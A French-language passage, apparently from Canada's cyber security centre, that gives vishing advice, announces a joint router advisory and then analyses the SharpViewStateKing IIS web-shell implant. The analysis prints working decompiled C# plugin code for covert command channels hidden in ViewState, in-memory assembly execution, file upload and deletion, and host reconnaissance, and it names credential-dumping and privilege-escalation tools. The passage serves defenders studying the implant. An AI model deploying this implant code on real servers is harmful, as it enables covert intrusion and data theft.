  • Les hameçonneurs se présentent comme des employées et employés de soutien technique de différentes organisations, puis demandent à la victime de dévoiler des renseignements personnels ou liés au travail pour vérifier son identité. Ils peuvent même aller jusqu’à demander la permission d’accéder à un dispositif à distance pour aider à installer un logiciel. Ce faisant, ils peuvent télécharger sur le dispositif des maliciels qui font apparaître des messages d’erreur dans le but d’inciter la victime à appeler un numéro pour faire régler des problèmes techniques ou de sécurité.

Conseils pour repérer l’hameçonnage vocal et éviter de tomber dans le piège

Les conseils suivants présentent des mesures pratiques que vous pouvez prendre lorsque vous répondez à un appel téléphonique suspect.

• Méfiez-vous des appelants qui sollicitent de l’information sensible. Ne révélez jamais au téléphone des renseignements personnels comme des noms d’utilisateur, des mots de passe, des codes uniques ou de l’information bancaire, à moins d’avoir la certitude qu’il s’agit d’une institution légitime.
• Raccrochez, puis téléphonez à un numéro connu et fiable. Si la personne à l’autre bout du fil prétend provenir d’une banque, d’un fournisseur, d’une équipe de soutien des TI ou d’un organisme gouvernemental, mettez fin à l’appel, puis contactez l’organisme en utilisant un numéro de téléphone public ou le site Web officiel. N’utilisez pas le numéro fourni par l’appelant ni l’option de rappel de votre téléphone.
• Utilisez des méthodes de vérification comme des mots de sécurité ou des codes de rappel. Pour votre lieu de travail ou les membres de votre famille, établissez un mot partagé, un code ou une procédure de rappel pour confirmer que l’identité d’une personne avant de discuter de questions sensibles. Si la personne au bout du fil ne réussit pas la vérification, présumez que l’appel n’est pas légitime.
• Faites attention aux appels automatisés ou provenant de numéros inconnus. Si vous ne reconnaissez pas le numéro, ne répondez pas à l’appel et laissez-le passer à la messagerie vocale. N’utilisez pas la fonction de rappel du téléphone et ne rappelez pas au numéro fourni par l’appelant. Communiquez plutôt avec le site ou le service par une méthode éprouvée.
• Méfiez-vous des tactiques alarmistes ou visant à créer un sentiment d’urgence. Les hameçonneurs tentent de vous coincer et de vous faire croire que vous n’avez d’autre choix que de fournir l’information voulue. Ils peuvent même adopter un ton menaçant pour vous presser d’agir. Par exemple, ils peuvent prétendre qu’à défaut de fournir l’information demandée, le compte sera désactivé.
• Méfiez-vous des appels ayant une mauvaise qualité audio ou des manières de parler qui ne semblent pas naturelles. Les appels avec des délais inhabituels, des voix robotiques ou dont le son est modifié peuvent être des arnaques. Raccrochez, attendez de voir si la personne vous rappelle et laisse un message, puis vérifiez l’appel de façon indépendante.
• Formez le personnel et établissez des processus clairs de vérification téléphonique. Informez vos employées et employés des tactiques d’hameçonnage vocal et de la manière d’y répondre. Mettez en place des procédures simples pour signaler les appels suspects et vérifier les demandes internes ou des partenaires effectuées par téléphone.
• Utilisez les protections intégrées des téléphones. La plupart des téléphones intelligents ont des fonctionnalités de filtrage des appels indésirables et de blocage des appels. Activez ces paramètres et signalez les appels potentiellement frauduleux à votre fournisseur de téléphone, si possible.

Que faire après avoir été victime d’hameçonnage vocal?

Les arnaques par hameçonnage vocal sont conçues pour paraître crédibles et donner un sentiment d’urgence. Personne n’est à l’abri, même les personnes qui font preuve de prudence et qui ont de l’expérience. Agir rapidement peut aider à limiter les dommages et à protéger vos renseignements.

• Informez les institutions financières responsables des comptes compromis. Demandez-leur d’annuler les opérations frauduleuses et de bloquer toute future transaction.
• Changez immédiatement les mots de passe de tous vos comptes touchés et de ceux qui sont protégés par ces mêmes mots de passe.
• Surveillez vos comptes financiers. Songez à vous inscrire à un service de surveillance du crédit qui vous informera de toute éventuelle activité frauduleuse. Cette mesure est particulièrement importante si vous croyez avoir été victime de vol d’identité.
• Signalez l’escroquerie au Centre antifraude du Canada (CAFC). Prenez en note le numéro de téléphone du fraudeur ainsi que les sites Web qu’il vous a demandé de visiter et fournissez cette information au CAFC.

• Signalez l’incident à l’administratrice ou administrateur des TI de votre organisation si vous croyez avoir compromis de l’information sensible appartenant à l’organisation. Pour ce faire, suivez le protocole mis en place par l’organisation pour le signalement des incidents de cybersécurité.

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) se joint à la National Security Agency (NSA) des États-Unis et à ses partenaires internationaux suivants pour publier des conseils en matière de cybersécurité pour améliorer les pratiques exemplaires liées aux routeurs afin de se protéger contre le ciblage parrainé par l’État russe :

• l’Australian Cyber Security Centre (ACSC) de l’Australian Signals Directorate (ASD) de l’Australie;
• l’Agence nationale de cybersécurité et de sécurité de l’information de la République tchèque (NÚKIB);
• le Service du renseignement de défense du Danemark (DDIS);
• le Service de renseignement étranger de l’Estonie (EFIS);
• l’Autorité des systèmes d’information de l’Estonie (RIA);
• l’Agence du renseignement de défense de la Finlande (FDI);
• le Service de sécurité et du renseignement de la Finlande (SUPO);
• l’Agence nationale de la sécurité des systèmes d’information de la France (ANNSI);
• l’Agence de renseignement et de sécurité extérieure de l’Italie (AISE);
• l’Agence de renseignement et de sécurité intérieure de l’Italie (AISI);
• le National Cyber Security Centre de la Nouvelle-Zélande (NCSC-NZ);
• le Centre national pour la cybersécurité de la Suède (NCSC-SE);
• Le Service de contre-espionnage militaire de la Pologne (SKW);
• le National Cyber Security Centre (NCSC-UK) du Royaume-Uni;
• la Cybersecurity and Infrastructure Security Agency (CISA) des États-Unis;
• le Department of Defense Cyber Crime Center (DC3) des États-Unis;
• le Federal Bureau of Investigation (FBI) des États-Unis.

Ces conseils conjoints détaillent comment les auteurs de cybermenaces du Centre 16 du Service fédéral de sécurité de Russie continuent d’exploiter les dispositifs réseau mal configurés et vulnérables partout dans le monde pour cibler de façon opportuniste de multiples réseaux du secteur des infrastructures essentielles. Ces conseils se fondent sur le message d’intérêt public du FBI, Russian government cyber actors targeting networking devices, critical infrastructure (en anglais seulement), concernant les cyberactivités décennales du Centre 16 du Service fédéral de sécurité. Ces conseils donnent également des tactiques, techniques et procédures pour aider les responsables de la défense à mieux comprendre la menace et la contrer.

Les organismes ayant rédigé la présente exhortent les propriétaires de dispositifs et les responsables de la défense des réseaux à prendre des mesures d’atténuation et de correction contre l’exploitation de routeurs vulnérables parrainée par le gouvernement russe.

Consultez la version intégrale du bulletin : Improve router hygiene to protect against Russian state-sponsored targeting (PDF) (en anglais seulement).

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) suit activement une compromission qui a exploité plusieurs charges utiles de code encoquillé (web shell) ayant permis l’utilisation de plusieurs techniques de piratage. À la suite d’activités d’intervention en cas d’incident, l’analyse a révélé que le code encoquillé faisait partie d’une plateforme d’implants furtifs appelée SharpViewStateKing^{Note de bas de page 1}.

Le Centre pour la cybersécurité a réalisé une analyse détaillée découlant d’une enquête récente pour aider les responsables de la défense à combattre les attaques qui reposent sur ces techniques. Cette analyse examine l’utilisation de requêtes HTTP standards dans ASP.NET, et fournit une caractérisation approfondie des techniques de l’auteur de menace, ainsi que des conseils sur les mesures d’atténuation et de détection essentielles.

Sommaire

À la fin de décembre 2025, le Centre pour la cybersécurité a détecté ce qui semblait être du code encoquillé sur un serveur IIS (Internet Information Services) public de Microsoft qui exécutait une application ASP.NET disponible sur le marché. Des mesures d’intervention en cas d’incident ont été lancées, et l’analyse a révélé que le code encoquillé faisait partie d’une plateforme d’implants furtifs appelée SharpViewStateKing. Cet article technique vise à favoriser la sensibilisation, à fournir des conseils sur la détection et à présenter des mesures correctives associées aux modules malveillants. Le contenu ci-dessous repose sur des données de télémétrie de points terminaux et la mémoire de processus enregistrée pendant l’incident.

Survol de l’incident

SharpViewStateKing est une plateforme modulaire composée d’une interface utilisateur graphique (IUG) qui permet le chargement de modules ASP.NET (plugiciels) sur les serveurs IIS exploités.

Les plugiciels sont écrits dans le langage de programmation C# et intégrés en tant qu’objets .NET sérialisés dans la section Ressources de l’exécutable SharpViewStateKing (T1505.003 (en anglais seulement), T1620 (en anglais seulement)).

L’exécution de code à distance a été réalisée en tirant parti des paramètres ViewState compromis dans l’application ASP.NET exécutée sur le serveur IIS compromis^{Note de bas de page 2} (T1190 (en anglais seulement)). Bien que la méthode employée pour obtenir ces paramètres ne s’inscrive pas dans la portée du présent document, un exemple de la manière dont ils ont été utilisés dans une autre campagne d’attaques par maliciel se trouve dans la publication du Centre pour la cybersécurité sur les vulnérabilités SharePoint.

Le code encoquillé traditionnel fonctionne généralement en créant une nouvelle page sur le serveur Web ou en injectant un code qui intercepte les requêtes HTTP dirigées vers des pages Web légitimes. Cela permet aux auteurs de menace d’interagir avec le serveur compromis, car le code encoquillé peut répondre aux requêtes depuis leur infrastructure de commande et de contrôle (C2). Toutefois, en analysant les données de télémétrie de points terminaux et la mémoire du processus enregistrée pendant l’incident, le Centre pour la cybersécurité a identifié une nouvelle technique.

Cette analyse a indiqué que l’auteur de menace a probablement tiré parti de la plateforme d’implants SharpViewStateKing pour déployer de nouveaux plugiciels compilés pour chaque commande envoyée au serveur compromis, le rendant fonctionnellement sans état (T1620 (en anglais seulement)). De plus, le code du plugiciel déployé est demeuré résident en mémoire, même lorsqu’il était dormant, jusqu’au redémarrage du processus.

Les possibilités de détection pour cette famille d’implants sont limitées en raison des facteurs suivants :

• les plugiciels sont compilés sur l’hôte de l’auteur de menace immédiatement avant d’être envoyés au serveur cible. Étant donné que les opérations de compilation n’ont pas eu lieu sur le serveur exploité, le processus csc.exe (compilateur C#) n’a jamais été observé, et les détections basées sur le code de hachage sont devenues difficiles en raison des horodatages générés dynamiquement juste avant le chargement du module;
• les communications réseau ont lieu sur un trafic HTTP ou HTTPS qui semble légitime. Dans cet incident, le trafic a été chiffré en HTTPS, ce qui a limité la visibilité (T1071.001 (en anglais seulement));
• les plugiciels sont chargés directement dans la mémoire du processus IIS sur le serveur compromis. Ils n’ont jamais été enregistrés sur le disque (T1620 (en anglais seulement));
• les plugiciels chargés n’apparaissent pas dans la liste des modules chargés (bibliothèque de liens dynamiques ou DLL pour Dynamic Link Library) pour le processus du serveur IIS.

Malgré ces limites, le Centre pour la cybersécurité a été en mesure de relever plusieurs éléments dignes d’intérêt :

• C# peut être décompilé en code source C# lisible. Puisqu’il a été compilé dans un langage intermédiaire (code à octets), le processus de compilation a pu être inversé à l’aide de la plateforme de triage de fichiers de source ouverte du Centre pour la cybersécurité, Assemblyline. En mettant en œuvre un service de décompilation pour le code à octets C#, des règles YARA personnalisées pourraient être créées pour cibler le code C# plutôt que des DLL compilées, ce qui donnerait lieu à des règles de détection plus flexibles;
• avec certaines configurations, le mécanisme AMSI (Anti-Malware Scan Interface) est déclenché lorsque les modules de code .NET sont chargés en mémoire. Bien que le maliciel semblait avoir des capacités de contournement d’AMSI, elles n’ont pas été déployées pendant cet incident particulier, ce qui a permis aux programmes antivirus traditionnels d’inspecter le code à octets;
• l’implant utilise une chaîne statique pour le paramètre __VIEWSTATE dans les requêtes HTTP POST. Cette chaîne a été trouvée dans la mémoire du processus lors du chargement des plugiciels;
• dans certains cas, les erreurs de désérialisation ViewState peuvent être enregistrées dans les journaux du serveur lors du chargement des plugiciels en raison de la chaîne __VIEWSTATE codée en dur. Cependant, dans cet incident, aucune erreur de désérialisation n’a été observée;
• également associés à l’implant Godzilla, les champs d’en-tête __SCROLLPATH et/ou __SCROLLPOSITION dans les journaux du serveur HTTP peuvent servir d’indicateurs. Étant donné que certains logiciels légitimes utilisent des champs portant ces noms, à eux seuls, ils n’étaient pas des indicateurs forts;
• la compilation/l’édition de liens dans l’en-tête du fichier PE (Portable Exécutable) qui en découle sera récente, quelques secondes après son chargement. Comme ce n’est pas rare pour les pages ASP.NET, elles ne constituaient pas des indicateurs forts à elles seules;
• des possibilités de détection se présenteront lorsque l’auteur de menace établira de nouvelles capacités sur l’hôte compromis ou utilisera les données binaires d’exploitation des ressources locales (LOTL pour Living Off The Land) dans le cadre de ses activités post-exploitation. Une méthode efficace de détection consistait à surveiller les enfants du processus de travail IIS w3wp.exe.

Analyse de l’incident

Dans les 30 premières minutes de l’incident, 67 modules de code distincts basés sur leur code de hachage SHA-256 ont été déployés sur l’hôte compromis. Une fois la décompilation terminée, il est devenu évident qu’il y avait un grand nombre de doublons. Par exemple, 42 copies différentes du plugiciel FileUpload, chacune avec son propre code de hachage, ont été utilisées pour préparer et exécuter plusieurs fonctionnalités différentes via le plugiciel RemoteExec, comme indiqué ci-dessous :

• EfsPotato : l’un des nombreux exploits de la famille « Potato », EfsPotato est un outil d’élévation locale des privilèges de source ouverte utilisé dans les cyberattaques pour élever les autorisations d’utilisatrices ou utilisateurs d’un compte de service à faible privilège au plus haut niveau d’autorité sur les systèmes Windows (NT AUTHORITY\SYSTEM) (T1068 (en anglais seulement), T1134.001 (en anglais seulement)));
• RPV SoftEther : client RPV (réseau privé virtuel) et logiciel serveur de RPV multiplateforme et multiprotocole de source ouverte utilisé par l’auteur de menace pour traverser la traduction d’adresses de réseau (NAT pour Network Address Translation) et contourner les pare-feux pour établir des connexions RDP (Remote Desktop Protocol) (T1133 (en anglais seulement));
• rar.exe : archiveur de fichiers en ligne de commande et outil de compression qui fait partie du puissant gestionnaire d’archives WinRAR; utilisé pour extraire des fichiers mis en place pour l’exécution et compresser des fichiers pour l’exfiltration (T1560.001 (en anglais seulement));
• secretsdump.exe : version compilée de l’outil Imacket secretsdump.py^{Note de bas de page 3} utilisée pour extraire divers secrets sensibles d’un hôte, y compris des codes de hachage utilisateur, des secrets de l’interface de programmation d’applications de protection des données (DPAPI pour Data Protection Application Programming Interface) et des justificatifs d’identité en texte clair (T1003.002 (en anglais seulement));
• perunner.exe : outil utilisé pour extraire la mémoire du processus LSASS (Local Security Authority Subsystem Service) (T1003.002 (en anglais seulement));
• fuck.exe : exécutable personnalisé utilisé pour modifier les valeurs ValidationKey et DecryptionKey dans le fichier web.config de l’application Web compromise (T1556.001 (en anglais seulement));
  SHA-256 : 2FF2E5B7DA1A70886DB220E0806ABA24AD6648BA2DC40E101D5D718D1BCBD7B6
• bypass.exe : SHA-256 : 6DF013608D0BEC6D2743AD45108C43922DBFDE28DDBEC8B8D63F3E0B23401DF2;
• HttpCgiModuledll : Composant 32 bits de l’implant BadIIS
  SHA-256 : 637c7bd4d2b5c29cc2f6db802ed1cd4d4c9b49ef7e6751a38d22f9337361c2cf;
• HttpFastCgiModuledll : Composant 64 bits de l’implant BadIIS
  SHA-256 : b6a009dc9984bf49e84e4885c87bcc0ce371f98ab2c28e71d5ebbcc0855adfce.

En utilisant le plugiciel RemoteExec, l’auteur de menace a créé un nouveau compte d’administrateur sur l’hôte compromis (T1136.001 (en anglais seulement)), puis a lancé wmic.exe pour configurer les exclusions dans Microsoft Defender (T1562.001 (en anglais seulement)), ce qui a permis de neutraliser ce dernier. L’auteur de menace a ensuite utilisé ce nouveau compte et l’accès au RPV SoftEther pour ouvrir une session à distance par l’intermédiaire du protocole RDP, puis se déplacer latéralement à d’autres hôtes au moyen de PsExec (T1569.002 (en anglais seulement), T1021.002 (en anglais seulement)) et des justificatifs d’identité recueillis à l’aide des outils ci-dessus (T1078 (en anglais seulement)).

Capacités du plugiciel observées pendant l’analyse

Les informations ci-dessous sont basées sur les plugiciels de SharpViewStateKing déployés par l’auteur de menace et extraits de la mémoire du processus IIS. Pour éviter la redondance, les trois méthodes suivantes ont été trouvées pour chacune des charges utiles :

Constructeur

Le gestionnaire de requêtes HTTP (l’interface de communication) a reçu des commandes chiffrées de la part de l’auteur de menace, les a exécutées, a chiffré les résultats, puis a renvoyé ceux-ci déguisés en trafic Web normal. La logique du constructeur est la suivante :

• il obtient le contexte HTTP actuel (la requête Web en cours de traitement) et les objets HTTP connexes;
• il extrait les paramètres __SCROLLPATH et/ou __SCROLLPOSITION de la requête (entrée contrôlée par l’auteur de menace), puis décode depuis Base64 pour obtenir des octets bruts;
• il appelle Dec() pour déchiffrer les octets bruts;
• il appelle une fonction spécifique au plugiciel avec ces arguments pour exécuter une action;
• il convertit la sortie en octets UTF-8, appelle Enc() pour chiffrer les octets, puis code le résultat chiffré en Base64;
• il masque la sortie en l’incorporant dans les propriétés ViewState d’ASP.NET;

  • <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTcyODc4..." />

  • Le préfixe /wEPDwUKLTcyODc4 reste statique et imite le mécanisme ViewState légitime pour éviter de déclencher les outils de sécurité;
• il renvoie la réponse en format HTML à l’auteur de menace.

Figure 3 : Constructeur pour le plugiciel FileUpload

public class FileUpload
{
    public FileUpload()
    {
        HttpContext current = HttpContext.Current;
        try
        {
            if (HttpContext.Current != null)
            {
                HttpRequest request = current.Request;
                HttpResponse response = current.Response;
                byte[] content = Dec(Convert.FromBase64String(request["__SCROLLPOSITION"]));
                byte[] bytes = Dec(Convert.FromBase64String(request["__SCROLLPATH"]));
                string s = UploadFile(content, Encoding.UTF8.GetString(bytes));
                response.Write("<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTcyODc4" + Convert.ToBase64String(Enc(Encoding.UTF8.GetBytes(s))) + "" />");
                response.End();
            }
        }
        catch (Exception ex)
        {
            current.Response.Write(ex.Message);
            current.Response.End();
        }
    }
}


    

Fonction de déchiffrement

Cette méthode a déchiffré les données reçues de l’auteur de menace au moyen des champs d’en-tête HTTP __SCROLLPATH et/ou __SCROLLPOSITION. Elle a été utilisée dans tous les plugiciels observés, à l’exception de ListDirectory, qui n’a pas chiffré son argument de chemin d’accès unique.

Rijndael-128 en mode CBC (AES-128-CBC) est utilisé comme algorithme de chiffrement/déchiffrement (T1573.001 (en anglais seulement)). Les 32 premiers octets de la mémoire tampon transmis à la fonction sont utilisés comme clé de déchiffrement symétrique et motif d’initialisation (IV pour Initialization Vector).

Figure 4 : Fonction de déchiffrement au moyen de Rijndael-128 en mode CBC (AES-128-CBC)

public static byte[] Dec(byte[] data)
{
    byte[] array = new byte[16];
    byte[] array2 = new byte[16];
    Array.Copy(data, 0, array, 0, 16);
    Array.Copy(data, 16, array2, 0, 16);
    Console.WriteLine(new Guid(array));
    Console.WriteLine(new Guid(array2));
    MemoryStream memoryStream = new MemoryStream();
    RijndaelManaged rijndaelManaged = new RijndaelManaged();
    rijndaelManaged.BlockSize = 128;
    rijndaelManaged.KeySize = 128;
    rijndaelManaged.Mode = CipherMode.CBC;
    rijndaelManaged.Padding = PaddingMode.PKCS7;
    CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(array2, array), CryptoStreamMode.Write);
    cryptoStream.Write(data, 32, data.Length - 32);
    cryptoStream.FlushFinalBlock();
    return memoryStream.ToArray();
}
    

Puisque les deux valeurs sont écrites directement dans les données de la requête sans aucune protection cryptographique, elles peuvent être récupérées à partir des journaux HTTP du serveur ou des saisies réseau. Cela est possible si le protocole HTTP a été utilisé comme protocole de couche application ou si le protocole HTTPS a été désencapsulé. Il serait alors facile de se servir de ces valeurs pour déchiffrer les données chargées à l’aide d’un outil comme CyberChef (en anglais seulement).

Fonction de chiffrement

Les plugiciels chiffrent les données avant de les renvoyer à l’auteur de menace en passant par la réponse HTTP qui utilise Rijndael-128 en mode CBC (AES-128-CBC) (T1573.001 (en anglais seulement)). La clé de chiffrement symétrique et le motif d’initialisation (IV) sont générés de façon pseudo-aléatoire à l’aide de Guid.NewGuid().ToByteArray() et sont ajoutés en préfixe aux données de réponse chiffrées. La méthode Guid.NewGuid() n’est pas considérée comme sécurisée par chiffrement et garantit, au maximum, une entropie de 122 bits.

Figure 5 : Fonction de chiffrement au moyen de Rijndael (AES-128) en mode CBC

	
public static byte[] Enc(byte[] data)
{
    byte[] array = Guid.NewGuid().ToByteArray();
    byte[] array2 = Guid.NewGuid().ToByteArray();
    MemoryStream memoryStream = new MemoryStream();
    memoryStream.Write(array, 0, array.Length);
    memoryStream.Write(array2, 0, array2.Length);
    RijndaelManaged rijndaelManaged = new RijndaelManaged();
    rijndaelManaged.BlockSize = 128;
    rijndaelManaged.KeySize = 128;
    rijndaelManaged.Mode = CipherMode.CBC;
    rijndaelManaged.Padding = PaddingMode.PKCS7;
    CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(array2, array), CryptoStreamMode.Write);
    cryptoStream.Write(data, 0, data.Length);
    cryptoStream.FlushFinalBlock();
    return memoryStream.ToArray();
}


    

Puisque les deux valeurs sont écrites directement dans les données de la requête sans aucune protection cryptographique, elles peuvent être récupérées à partir des journaux HTTP du serveur ou des saisies réseau. Cela est possible si le protocole HTTP a été utilisé comme protocole de couche application ou si le protocole HTTPS a été désencapsulé. Il serait alors facile de se servir de ces valeurs pour déchiffrer les données exfiltrées à l’aide d’un outil comme CyberChef (en anglais seulement).

Observation 1

Capacité principale : ExecuteAssembly

Technique observée : ExecuteAssembly (T1620 (en anglais seulement))

Comme ce plugiciel met en œuvre une classe qui permet à l’auteur de menace de charger un ensemble ASP.NET arbitraire directement à partir d’une mémoire tampon, l’auteur de menace dispose d’une capacité d’exécution sans fichier pour la post-exploitation et cela lui permet de contourner la détection sur disque. Par exemple, il a été utilisé pour charger et exécuter l’exploit d’élévation des privilèges EfsPotato directement dans la mémoire de l’hôte compromis.

Le plugiciel comprend deux méthodes :

1. ParseArgs(string input) : prend une chaîne brute d’arguments en ligne de commande et la convertit en un tableau de chaînes correctement formaté, en parcourant chaque caractère tout en suivant les délimitations des guillemets au moyen d’un indicateur booléen.
   • Cela a permis à la charge utile de recevoir des arguments exactement comme s’ils avaient été lancés à partir de la ligne de commande. L’exécution en mémoire s’est donc comportée comme un lancement de programme normal, et l’auteur de menace a pu transmettre des paramètres de ligne de commande à des assemblages .NET malveillants.
2. ExecuteAssembly(byte[] assembly, byte[] bArgs) : redirige les flux Console.Out et Console.Error vers un MemoryStream en mémoire et utilise Assembly.Load() pour charger les octets des assemblages .NET directement dans la mémoire du processus sans écrire sur le disque.
   • Cela a permis de récupérer la méthode Main de l’assemblage à l’aide d’instructions ENTRYPOINT, puis de l’appeler avec les arguments de ligne de commande analysés, en capturant toutes les sorties de console (stdout/stderr) générées pendant l’exécution dans un MemoryStream et en la convertissant en chaîne UTF-8. Le résultat a été renvoyé via une réponse HTTP par le constructeur.

Figure 6 : Méthode ExecuteAssembly dans la classe LoadAndExecuteAssembly

public class LoadAndExecuteAssembly
{
    public static string ExecuteAssembly(byte[] assembly, byte[] bArgs)
    {
        string empty = string.Empty;
        try
        {
            TextWriter textWriter = Console.Out;
            TextWriter error = Console.Error;
            MemoryStream memoryStream = new MemoryStream();
            StreamWriter streamWriter = new StreamWriter(memoryStream);
            streamWriter.AutoFlush = true;
            Console.SetOut(streamWriter);
            Console.SetError(streamWriter);
            Assembly assembly2 = Assembly.Load(assembly);
            MethodInfo entryPoint = assembly2.EntryPoint;
            string[] array = ParseArgs(Encoding.UTF8.GetString(bArgs));
            entryPoint.Invoke(null, new object[1] { array });
            empty = Encoding.UTF8.GetString(memoryStream.ToArray());
            Console.SetOut(textWriter);
            Console.SetError(error);
            streamWriter.Close();
            memoryStream.Close();
        }
        catch (Exception ex)
        {
            empty = "Error: " + ex;
        }
        return empty;
    }
}

	
    

Observation 2

Capacité principale : FileDelete

Technique observée : FileDelete (T1070.004 (en anglais seulement))

Ce plugiciel met en œuvre une classe qui permet à l’auteur de menace de supprimer à distance un fichier du système de fichiers de la victime. Il reçoit un chemin de fichier chiffré par HTTP, supprime le fichier spécifié, puis renvoie un message de confirmation chiffré. L’auteur de menace a utilisé cette capacité pour brouiller ses pistes et supprimer des fichiers déployés précédemment.

Figure 7 : Méthode fileDelete dans la classe FileDelete

	public class FileDelete
{
    public static string fileDelete(string filePath)
    {
        try
        {
            if (File.Exists(filePath))
            {
                File.Delete(filePath);
            }
            return "Delete successful";
        }
        catch (Exception ex)
        {
            return ex.Message;
        }
    }
}
	
    

Observation 3

Capacité principale : FileUpload

Technique observée : FileUpload (T1608.001 (en anglais seulement))

Ce plugiciel met en œuvre une classe qui permet à l’auteur de menace de charger à distance des fichiers dans le système de fichiers de la victime. Il a reçu un chemin de fichier chiffré et son contenu par HTTP, a écrit le contenu à l’emplacement indiqué, puis a renvoyé un message de confirmation chiffré.

Figure 8 : Méthode UploadFile dans la classe FileUpload

public class FileUpload
{
    public static string UploadFile(byte[] content, string filePath)
    {
        try
        {
            FileStream fileStream = new FileStream(filePath, FileMode.Append);
            fileStream.Write(content, 0, content.Length);
            fileStream.Close();
            return "Upload successful";
        }
        catch (Exception ex)
        {
            return ex.Message;
        }
    }
}

	
    

Observation 4

Capacité principale : Information

Technique observée : Information (T1082 (en anglais seulement), T1057 (en anglais seulement))

Il s’agit du premier plugiciel déployé sur l’hôte compromis. Il a mis en œuvre une classe qui a récupéré les informations système détaillées suivantes dans une chaîne JSON :

• répertoire de travail courant du processus
• répertoire « Web » courant du processus
• contenu de deux clés de registre
  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion
• tous les lecteurs de disque, y compris l’espace libre
• toutes les interfaces réseau
• tous les processus en cours d’exécution

Figure 9 : Méthode GetSystemInformation dans la classe Information

	public class Information
{
    public static string GetSystemInformation(string data = null)
    {
        string currentDirectory = Directory.GetCurrentDirectory();
        string text = $"    Current Directory: {currentDirectory}\r\n";
        text += string.Format("Current Web Directory: {0}\r\n\r\n", HttpContext.Current.Server.MapPath("."));
        RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
        if (registryKey != null)
        {
            text += string.Format("Windows Product Name: {0}\r\n", registryKey.GetValue("ProductName"));
            text += string.Format("     Windows Version: {0}\r\n\r\n", registryKey.GetValue("CurrentVersion"));
        }
        DriveInfo[] drives = DriveInfo.GetDrives();
        foreach (DriveInfo driveInfo in drives)
        {
            if (driveInfo.IsReady)
            {
                text += $"Disk drive {driveInfo.Name}\r\n";
                text += $"      Disk size: {driveInfo.TotalSize / 1024L / 1024L / 1024L} GB\r\n";
                text += $"     Free space: {driveInfo.AvailableFreeSpace / 1024L / 1024L / 1024L} GB\r\n";
            }
        }
        text += "\r\n";
        NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
        NetworkInterface[] array = allNetworkInterfaces;
        foreach (NetworkInterface networkInterface in array)
        {
            if (networkInterface.Name.ToLower().Contains("loopback"))
            {
                continue;
            }
            IPInterfaceProperties iPProperties = networkInterface.GetIPProperties();
            UnicastIPAddressInformationCollection unicastAddresses = iPProperties.UnicastAddresses;
            string text2 = string.Empty;
            string text3 = string.Empty;
            foreach (UnicastIPAddressInformation item in unicastAddresses)
            {
                if (item.Address.AddressFamily != AddressFamily.InterNetwork)
                {
                    if (item.Address.AddressFamily == AddressFamily.InterNetworkV6)
                    {
                        text3 = string.Concat(text3, item.Address, ",");
                    }
                }
                else
                {
                    text2 = string.Concat(text2, item.Address, ",");
                }
            }
            string text4 = string.Empty;
            if (iPProperties.DnsAddresses.Any())
            {
                Console.WriteLine("DNS Servers:");
                foreach (IPAddress dnsAddress in iPProperties.DnsAddresses)
                {
                    text4 = string.Concat(text4, dnsAddress, ",");
                }
            }
            text += $"Network adapter: {networkInterface.Description}\r\n";
            text += $"    MAC address: {networkInterface.GetPhysicalAddress().ToString()}\r\n";
            text += $"   IP addresses: {text2.Trim() + text3.Trim().Trim(new char[1] { ',' })}\r\n";
            text += $"     DNS Server: {text4}\r\n";
        }
        text += "\r\n->||";
        Process[] processes = Process.GetProcesses();
        foreach (Process process in processes)
        {
            text = text + process.ProcessName + ".exe,";
        }
        return text + "||<-";
    }
}
	
    

Observation 5

Capacité principale : ListDirectory

Technique observée : ListDirectory (T1083 (en anglais seulement))

Ce plugiciel a mis en œuvre une classe qui a permis à l’auteur de menace d’énumérer et de récupérer des informations détaillées sur les fichiers et les répertoires du système de fichiers de la victime à l’aide des deux méthodes suivantes :

1. list_directory(string path) : a permis de dresser la liste de tous les fichiers et dossiers d’un répertoire particulier et de faire ce qui suit :
   • utiliser DirectoryInfo pour accéder au répertoire cible et GetFileSystemInfos() pour récupérer tous les fichiers et sous-répertoires;
   • pour chaque élément de fichier ou de dossier, appeler GetIcon() pour récupérer l’icône visuelle et créer un MemoryStream (mémoire tampon temporaire) pour conserver les données d’image et enregistrer l’icône en tant qu’image PNG dans le MemoryStream;
   • vérifier si l’élément était un répertoire ou un fichier en utilisant FileAttributes (la taille des fichiers a été récupérée en octets);
   • créer une chaîne séparée par des tabulations contenant les éléments suivants :
     • nom du fichier
     • chemin complet
     • indicateur IsDirectory (vrai/faux)
     • données d’icône encodées en Base64
     • horodatage de la dernière modification (format : aaaa-mm-jj hh:mm:ss)
     • taille du fichier (0 pour les répertoires)

Figure 10 : Méthode list_directory dans la classe ListDirectory

public class ListDirectory
{
public static string list_directory(string path)
{
        StringBuilder stringBuilder = new StringBuilder();
        try
        {
            DirectoryInfo directoryInfo = new DirectoryInfo(path);
            FileSystemInfo[] fileSystemInfos = directoryInfo.GetFileSystemInfos();
            FileSystemInfo[] array = fileSystemInfos;
            foreach (FileSystemInfo fileSystemInfo in array)
            {
                MemoryStream memoryStream = new MemoryStream();
                string text = "0";
                bool flag = true;
                ((Image)GetIcon(fileSystemInfo.FullName)).Save((Stream)memoryStream, ImageFormat.Png);
                if ((fileSystemInfo.Attributes & FileAttributes.Directory) != FileAttributes.Directory)
                {
                    flag = false;
                    text = new FileInfo(fileSystemInfo.FullName).Length.ToString();
                }
                stringBuilder.Append(string.Format("{0}\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", fileSystemInfo.Name, fileSystemInfo.FullName, flag, Convert.ToBase64String(memoryStream.ToArray()), File.GetLastWriteTime(fileSystemInfo.FullName).ToString("yyyy-MM-dd hh:mm:ss"), text));
                memoryStream.Close();
            }
        }
        catch (Exception ex)
        {
            stringBuilder.Append(ex.Message);
        }
        return stringBuilder.ToString();
    }
}

	
    

2. GetIcon(string file) :extraction d’icônes visuelles ou de vignettes de fichiers pour aider à identifier les types de fichiers :
